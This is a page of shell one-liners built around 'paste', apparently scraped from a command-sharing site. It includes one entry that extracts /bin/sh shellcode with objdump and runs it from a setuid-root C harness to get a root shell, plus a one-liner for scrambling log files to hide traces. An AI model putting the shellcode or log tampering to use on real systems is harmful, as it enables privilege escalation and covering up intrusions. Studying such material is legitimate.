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Rename all subtitles files with the same name of mp4 files in same folder

Use this command if you want to rename all subtitles for them to have the same name as the mp4 files. NOTE: The order of "ls -1 *.mp4" must match the order of "ls -1 *.srt", run the command bellow to make sure the *.srt files will really match the movies after run this command: paste -d:
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paste -d: <(ls -1 *.mp4) <(ls -1 *.srt) | while read line; do movie="${line%%:*}"; subtitle="${line##*:}"; mv "${subtitle}" "${movie%.*}.srt"; done

ricardofunke · 2020-11-08 02:47:13 538
Merges given files line by line

In the above example all files have 4 lines. In "file1" consecutive lines are: "num, 1, 2, 3", in "file2": "name, Jack, Jim, Frank" and in "file3": "scores, 1300, 1100, 980". This one liner can save considerate ammount of time when you're trying to process serious portions of data. "-d" option allows one to set series of characters to be used as separators between data originating from given files. Show Sample Output
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```
num,name:scores
1,Jack:1300
2,Tim:1100
3,Frank:980
```
8

paste -d ',:' file1 file2 file3

thebodzio · 2009-06-17 00:11:04 14

Get all shellcode on binary file from objdump

Tired copy paste to get opcode from objdump huh ? Get more @ http://gunslingerc0de.wordpress.com Show Sample Output

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gunslinger@localhost:~/$ objdump -d shell

shell:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	31 db                	xor    %ebx,%ebx
 8048064:	31 c9                	xor    %ecx,%ecx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	b0 46                	mov    $0x46,%al
 804806a:	31 db                	xor    %ebx,%ebx
 804806c:	31 c9                	xor    %ecx,%ecx
 804806e:	cd 80                	int    $0x80
 8048070:	b0 0b                	mov    $0xb,%al
 8048072:	53                   	push   %ebx
 8048073:	68 2f 2f 73 68       	push   $0x68732f2f
 8048078:	68 2f 62 69 6e       	push   $0x6e69622f
 804807d:	89 e3                	mov    %esp,%ebx
 804807f:	31 c9                	xor    %ecx,%ecx
 8048081:	31 c9                	xor    %ecx,%ecx
 8048083:	53                   	push   %ebx
 8048084:	cd 80                	int    $0x80
gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\xcd\x80"
gunslinger@localhost:~/$

-------------------------------shellcodetest.c---------------------------------
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
		   "\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
		   "\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";

int main(void)
{
	(*(void(*)()) shellcode)();
}
------------------------------------EOF----------------------------------------

root@localhost:/home/gunslinger/# vim shellcodetest.c
root@localhost:/home/gunslinger/# cat shellcodetest.c
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
		   "\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
		   "\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";

int main(void)
{
	(*(void(*)()) shellcode)();
}
root@localhost:/home/gunslinger/# gcc -o shellcodetest shellcodetest.c
root@localhost:/home/gunslinger/# chown root:root shellcodetest.c
root@localhost:/home/gunslinger/# chmod 4755 shellcodetest
root@localhost:/home/gunslinger/# exit
gunslinger@localhost:~/$ ./shellcodetest
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# echo GAMEOVER
GAMEOVER
# exit
gunslinger@localhost:~/$

gunslinger_ · 2010-07-11 15:44:48 179

generate random tone
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paste <(seq 7 | shuf | tr 1-7 A-G) <(seq 7 | shuf) | while read i j; do play -qn synth 1 pluck $i synth 1 pluck mix $2; done

kev · 2012-04-09 15:22:19 4
Arch Linux sort installed packages by size

This one-liner will output installed packages sorted by size in Kilobytes. Show Sample Output
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```
65120.00K   gcc
66452.00K   python
68012.00K   chromium-dev
68192.00K   smbclient
68804.00K   mysql
70392.00K   python2
71644.00K   kdelibs
72196.00K   firefox-pgo
73672.00K   nvidia-utils
82684.00K   xulrunner
92388.00K   plan9port
96380.00K   jre
111932.00K  qt
115872.00K  kernel26
148360.00K  acroread
301619.00K  libreoffice
[me@arch ~/bin]
```
4

paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t

BruceLEET · 2011-01-07 18:43:18 8
Print sensors data for your hardware
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paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/$.$..$/.\1°C/'

wuseman1 · 2022-03-29 22:43:08 558
Merge files, joining each line in one line

Merge files, joining line by line horizontally. Very useful when you have a lot of files where each line represents an info about an event and you want to join them into a single file where each line has all the info about the same event See the example for a better understanding Show Sample Output
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```
$ cat file1
a
b
c

$ cat file2
1
2
3

$ paste file1 file2
a	1
b	2
c	3
```
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paste file1 file2 fileN > merged

polaco · 2010-03-12 16:34:48 7

paste one file at a time instead of in parallel

paste one file at a time instead of in parallel Show Sample Output

paste --serial file1 file2 file3

alperyilmaz · 2010-10-27 08:17:41 6

1+2-3+4-5+6-7 Series
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2

seq 1000 | paste -sd+- | bc

rubenmoran · 2011-02-09 20:03:49 5
Paste command output to www.pastehtml.com in txt format.

paste(){ curl -s -S --data-urlencode "txt=$($@)" " Show Sample Output
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```
$ paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
$ paste ifconfig
http://pastehtml.com/view/b9xfkmc6n.txt
$
```
2

paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}

dzup · 2011-10-07 22:22:26 5
Binary search/replace

Replace all instances of "A" with "B" in file "source" saved as file "destination". !! IF A/B is multi-byte, then separate bytes with spaces like so: "s/20\ 0A/00/g". Show Sample Output
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```
 
```
2

xxd -p source | fold -w2 | paste -sd' ' | sed "s/A/B/g" | xxd -p -r > destination

hincor · 2015-05-26 18:29:48 24
Calculate sum of N numbers (Thanks to flatcap)

Show Sample Output
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```
5000050000
```
1

seq 100000 | paste -sd+ | bc

rubenmoran · 2011-02-09 19:53:45 6
Calculate N!

Show Sample Output
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```
3628800
```
1

seq 10 | paste -sd* | bc

rubenmoran · 2011-02-09 19:56:12 4
generate a telephone keypad

seems a useless command ... Show Sample Output
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```
1	2	3
4	5	6
7	8	9
*	0	#
```
1

echo {1..9} '* 0 #' | tr ' ' '\n' |paste - - -

jianingy · 2014-12-27 09:38:36 8
draw rhomb
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1

a=$(b=$(($LINES/2));f() { for c in $(seq $b); do for i in $(seq $c);do echo x;done|xargs echo;done };paste <(f) <(f|tac|tr 'x' '-') <(f|tac|tr 'x' '-') <(f)|tr '\t' ' ');(cat <<<"$a"|tac;cat <<<"$a")|tr '-' ' '

knoppix5 · 2015-04-08 02:33:05 16
Ergo browsing 'pacman' queries (Arch)

Alternative1 (grep support): pacman -Ss python | paste - - | grep --color=always -e '/python' | less -R Alternative2 (eye-candy, no grep): pacman --color=always -Ss "python" | paste - - | less -R in ~/.bashrc: pkg-grep() { pacman -Ss "$1" | paste - - | grep --color=always -e "${2:-$1}" | less -R ; } pkg-search() { pacman --color=always -Ss "python" | paste - - | less -R; } Show Sample Output
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```
extra/python 3.5.1-1 [installed]            Next generation of the python high-level scripting language
extra/python-astroid 1.4.4-1        Useful miscellaneous modules used by Logilab projects
extra/python-atspi 2.18.0-1 [installed]     Python 3 bindings for at-spi
extra/python-beaker 1.7.0-3         Caching and sessions WSGI middleware for use with web applications and stand-alone Python scripts and applications
...
```
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pacman -Ss python | paste - - | grep --color=always -e '/python' | less -R

hute37 · 2016-01-25 14:29:31 13
Create unique email addresses directly from the US census site*Full command in comments

** Replace the ... in URLS with: www.census.gov/genealogy/www/data/1990surnames Couldn't fit in 256 Created on Ubuntu 9.10 but nothing out of the ordinary, should work anywhere with a little tweaking. 5163 is the number of unique first names you get when combine the male and female first name files from. http://www.census.gov/genealogy/www/data/1990surnames/names_files.html Show Sample Output
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```
stasia.palmer@test.domain
mozell.sybounheuan@test.domain
yuki.nypaver@test.domain
annamae.tilbury@test.domain
jaimee.warfield@test.domain
cassidy.mchugh@test.domain
daniele.makey@test.domain
ivelisse.besancon@test.domain
marylin.kocher@test.domain
```
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paste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f 1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g'

connorsy · 2010-01-21 19:52:28 4
Calculate a transcendental number (pi)

Calculate pi from the infinite series 4/1 - 4/3 + 4/5 - 4/7 + ... This expansion was formulated by Gottfried Leibniz: http://en.wikipedia.org/wiki/Leibniz_formula_for_pi I helped rubenmoran create the sum of a sequence of numbers and he replied with a command for the sequence: 1 + 2 -3 + 4 ... This set me thinking. Transcendental numbers! seq provides the odd numbers 1, 3, 5 sed turns them into 4/1 4/3 4/5 paste inserts - and + bc -l does the calculation Note: 100 million iterations takes quite a while. 1 billion and I run out of memory. Show Sample Output
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```
$ seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l
3.14159263358979321063
```
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seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l

flatcap · 2011-02-09 23:36:07 7
Sum file sizes

Computes total size of files in a directory. This value is different "du -b" because doesn't includes directory sizes. Show Sample Output
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```
9346375
```
0

find . -type f -printf %s\\n | paste -sd+ | bc

rubenmoran · 2011-02-10 09:44:36 4
Arch Linux sort installed packages by size
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0

pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2

minus · 2011-05-03 13:02:06 5
no log to trace you
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paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf)

kev · 2011-05-23 13:16:38 4
Remove from PATH paths containing a string

If there are spaces won't work.
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export PATH= $(echo $PATH | tr ':' '\n' | awk '!/matching string/' | paste -sd:)

bugmenot · 2012-07-29 00:30:54 4
Join the lines with comma

A more simple way to join lines with paste command than sed. Show Sample Output
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```
line1,line2
```
0

paste -sd, <<< $'line1\nline2'

kodango · 2012-11-13 01:26:05 5
Batch rename of files (names from file)

Rename all files in current directory by names from text file 'zzz'
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ls | paste --delimiters='*' - ./zzz | awk ' BEGIN{FS="*";} { system("mv " $1 " \"" $2 "\"") }'

skilowatt · 2013-05-13 15:44:07 7
Convert input to a line of quote protected CSV
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cat file | paste -s -d'%' - | sed 's/$^\|$$/"/g;s/%/","/g'

JohnGH · 2013-11-12 17:48:10 16
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print all network interfaces' names and IPv4 addresses

ifconfig can't properly display interface's name longer 9 symbols,also it can't show IPs added thru ip command, so 'ip' should be used instead. This alias properly shows long names, bond interfaces and all interface aliases. loopback interface is ignored, since its IP is obvious

Get your external IP address ( 10 characters long )

Shortest url to a external IP-service, 10 characters.

Find usb device in realtime

Using this command you can track a moment when usb device was attached.

Disable system bell in an X session

Execute this command in a terminal to disable the system-bell during X-session lifetime.

File rotation without rename command

Rotates log files with "gz"-extension in a directory for 7 days and enumerates the number in file name. i.e.: logfile.1.gz > logfile.2.gz I needed this line due to the limitations on AIX Unix systems which do not ship with the rename command.

List last opened tabs in firefox browser

Tuned for short command line - you can set the path to sessionstore.js more reliable instead of use asterixes etc. Usable when you are not at home and really need to get your actual opened tabs on your home computer (via SSH). I am using it from my work if I forgot to bookmark some new interesting webpage, which I have visited at home. Also other way to list tabs when your firefox has crashed (restoring of tabs doesn't work always). This script includes also tabs which has been closed short time before.

mtr, better than traceroute and ping combined

mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool. As mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME. by sending packets with purposly low TTLs. It continues to send packets with low TTL, noting the response time of the intervening routers. This allows mtr to print the response percentage and response times of the internet route to HOSTNAME. A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link.

Simultaneously running different Firefox profiles

After running $ firefox -ProfileManager and creating several different profiles, use this command to run multiple Firefox profiles simultaneously.

Check if you work on a virtual/physical machine in Linux

Command used to know if we are working on a virtual or physical machine. This command will use the dmidecode utility to retrieve hardware information of your computer via the BIOS. Run this command as root or with sudo.

Less a grep result, going directly to the first match in the first file

Really useful way to combine less and grep while browsing log files. I can't figure out how to make it into a true oneliner so paste it into a script file called lgrep: Usage: lgrep searchfor file1 [file2 file3] Advanced example (grep for an Exception in logfiles that starts with qc): lgrep Exception $(find . -name "qc*.log")

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